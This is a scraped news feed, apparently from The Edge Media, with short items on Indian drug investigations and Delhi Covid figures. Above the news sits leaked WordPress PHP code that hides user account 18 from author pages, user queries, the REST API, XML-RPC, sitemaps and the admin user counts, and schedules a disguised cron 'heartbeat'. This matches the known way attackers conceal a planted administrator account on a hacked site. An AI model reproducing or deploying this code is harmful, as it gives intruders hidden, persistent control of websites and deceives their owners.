add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post BJP’s Devendra Fadnavis Gets ₹ 5 Crore Defamation Notice Over Drugs Row appeared first on The Edge Media.
]]>
Sameer Khan also claimed Rs. 5 crores for “mental suffering, agony, and financial loss,” according to a copy of the legal notification shared on Twitter by Nawab Malik. On November 1, Mr. Fadnavis accused Sameer Khan of “possessing drugs” while the case was still being investigated. On Monday, the investigation into a drug case involving Sameer Khan was reopened.
The post BJP’s Devendra Fadnavis Gets ₹ 5 Crore Defamation Notice Over Drugs Row appeared first on The Edge Media.
]]>The post Hidden in Lehengas, Drugs Worth Crores Seized In Bengaluru appeared first on The Edge Media.
]]>
On October 21, a team led by NCB Bangalore Zonal Director Amit Ghawate intercepted the package and recovered roughly 3 kg of white-colored crystalline substance, believed to be pseudoephedrine, hidden in three lehengas.
The prohibited material was discovered after opening each fold of the lehengas’ fall line. The cargo was scheduled to be shipped from Narasapuram, Andhra Pradesh, to Australia. The officials followed the package to Chennai and identified the consignor.
The post Hidden in Lehengas, Drugs Worth Crores Seized In Bengaluru appeared first on The Edge Media.
]]>The post ED summons ten Telugu film personalities appeared first on The Edge Media.
]]>The ED on Wednesday issued notices to 10 persons connected to Tollywood and two others including a private club manager as part of a money laundering probe linked to the drugs racket.
The ED has asked actors Rakul Preet Singh, Rana Daggubati, Ravi Teja, Charmee Kaur, Navdeep, Mumaith Khan and director Puri Jagnnadh to appear before it between August 31 and September 22.
Tanish, Nandu, actor Ravi Teja’s driver Srinivas are also among those summoned.
The development has created ripples in Tollywood as the two leading actors who were not questioned by the Special Investigation Team (SIT) of Telangana excise and prohibition department two years ago, have also been summoned by the ED.
Tollywood circles are worried over the questioning of the film personalities about their possible involvement in drugs and money laundering. However, an ED official has clarified that for now they will be treated only as witnesses.
Rakul Preet has been asked to appear on September 6 while Rana has been summoned on September 8. Both were not in the list of celebrities questioned by SIT earlier.
The ED has asked Ravi Teja to appear on September 9 and Mumaith Khan has been summoned on September 15.
Last month, a court in Hyderabad had accepted the charge sheets filed by the Special Investigation Team of Telangana’s excise and prohibition department.
The drugs racket was busted on July 2, 2017 when customs officials arrested Calvin Mascarenhas, a musician, and two others and seized drugs worth Rs 30 lakh from their possession.
They had reportedly told the investigators that they are supplying drugs to film celebrities, software engineers, and even students of some corporate schools. Mobile numbers of some Tollywood celebrities were allegedly found in their contact lists.
The post ED summons ten Telugu film personalities appeared first on The Edge Media.
]]>The post 10-Kg hashish-filled cake Seized from Mumbai psychologist. appeared first on The Edge Media.
]]>The raid in the home of consulting psychologist Raheem Charaniya in Mazgaon on Monday led to the seizure of the cake, being sold under the “Hash brownie” name, as well as 320 grams opium and Rs.1.72 lakh cash, he said.
“Charaniya was baking cakes mixed with weed, hashish and opium . He was supplying them to high-profile clients hosting parties in the city. Charaniya’s questioning led to the arrest of Ramzan Shaikh, from whom the former used to procure weed and hashish”, the NCB offical said.
The post 10-Kg hashish-filled cake Seized from Mumbai psychologist. appeared first on The Edge Media.
]]>The post Delhi’s Covid positivity rate lowest since April 4 appeared first on The Edge Media.
]]>The World Health Organization (WHO) has declared that if the positivity rate falls below 5 per cent, then it is considered as the safe zone. This would now create a pressure on the Delhi government to lift the lockdown. The Medical experts say that lockdown is the main factor for the decline in cases.
The daily cases recorded in the last 24 hours is also the lowest since April 1. The active cases in Delhi has now reached below 36,000. The recovery rate in the city is 95.85 per cent and the death rate is 1.62 per cent. Delhi has faced the worst since the spread of the second wave. The state suffered a lack of oxygen, hospital beds, druga and also vaccines.
The post Delhi’s Covid positivity rate lowest since April 4 appeared first on The Edge Media.
]]>The post Drugs case: Maharashtra minister Nawab Malik’s son-in-law arrested, NCB is raiding many places appeared first on The Edge Media.
]]>The post Drugs case: Maharashtra minister Nawab Malik’s son-in-law arrested, NCB is raiding many places appeared first on The Edge Media.
]]>